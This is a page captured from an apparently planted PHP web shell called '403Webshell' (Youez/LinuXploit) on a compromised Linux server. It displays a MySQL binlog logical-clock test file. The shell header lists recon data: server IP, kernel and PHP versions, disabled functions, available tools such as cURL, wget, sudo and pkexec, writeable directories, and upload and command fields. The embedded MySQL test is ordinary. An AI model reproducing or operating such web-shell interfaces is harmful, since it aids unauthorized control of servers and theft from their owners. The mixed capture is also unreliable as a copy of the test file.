403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.68.242.45
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/binlog/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/binlog/t/binlog_mts_logical_clock.test
#
# The test verifies proper computation of logical timestamps in
# few situations having GTID mode OFF.
#
--source include/have_binlog_format_mixed.inc
--source include/have_myisam.inc
--source include/have_innodb.inc

--source include/not_gtid_enabled.inc

#
# Tests that are independent of GTID_MODE
#
--source extra/binlog_tests/logical_timestamping.inc


#
# Tests that require GTID_MODE=OFF follow.
#
# Testing the mixed engine transaction logging.
# There must be two groups per transaction in the binary log. Each group
# is tagged with own sequence_number.
#

CALL mtr.add_suppression("Some non-transactional changed tables couldn't be rolled back");
CREATE TABLE t1 (a int) ENGINE= innodb;
CREATE TABLE tm (a int) ENGINE= MyISAM;

--delimiter |
CREATE PROCEDURE p1 ()
BEGIN
  START TRANSACTION;
  INSERT INTO t1 SET a=1;
  INSERT INTO tm SET a=2;
  COMMIT;
  START TRANSACTION;
  INSERT INTO t1 SET a=1;
  INSERT INTO tm SET a=2;
  ROLLBACK;
END|
# multiple reqular transactions
CREATE PROCEDURE p2 ()
BEGIN
  START TRANSACTION;
  INSERT INTO t1 SET a=1;
  COMMIT;
  START TRANSACTION;
  INSERT INTO t1 SET a=2;
  COMMIT;
  START TRANSACTION;
  INSERT INTO t1 SET a=3;
  COMMIT;
END|
--delimiter ;

# Now the proof: the mixed transactions are logged as two parts.
# In case of ROLLBACK the transactional engine part is gone.
# p1() produces two groups, p2() one, and p3() three.

RESET MASTER;
# transaction that mixes transactional and nontransactional tables and commits
START TRANSACTION;
  INSERT INTO t1 SET a=1;
  INSERT INTO tm SET a=2;
COMMIT;
--let $binlog_file= master-bin.000001
--let $logical_timestamps= 0 1;1 2
--source include/assert_logical_timestamps.inc

RESET MASTER;
# transaction that mixes transactional and nontransactional tables and rolls back
START TRANSACTION;
  INSERT INTO t1 SET a=1;
  INSERT INTO tm SET a=2;
ROLLBACK;

--let $logical_timestamps= 0 1
--source include/assert_logical_timestamps.inc

RESET MASTER;
# One query gets logged to as multiple transactions, due to both mixed
# engines and multiple transactions executed by a stored procedure.

CALL p1();

--let $logical_timestamps= 0 1;1 2;2 3
--source include/assert_logical_timestamps.inc

RESET MASTER;
# few regular transactions logged with one query
CALL p2();

--let $logical_timestamps= 0 1;1 2;2 3
--source include/assert_logical_timestamps.inc

DROP PROCEDURE p1;
DROP PROCEDURE p2;
DROP TABLE tm,t1;

Youez - 2016 - github.com/yon3zu
LinuXploit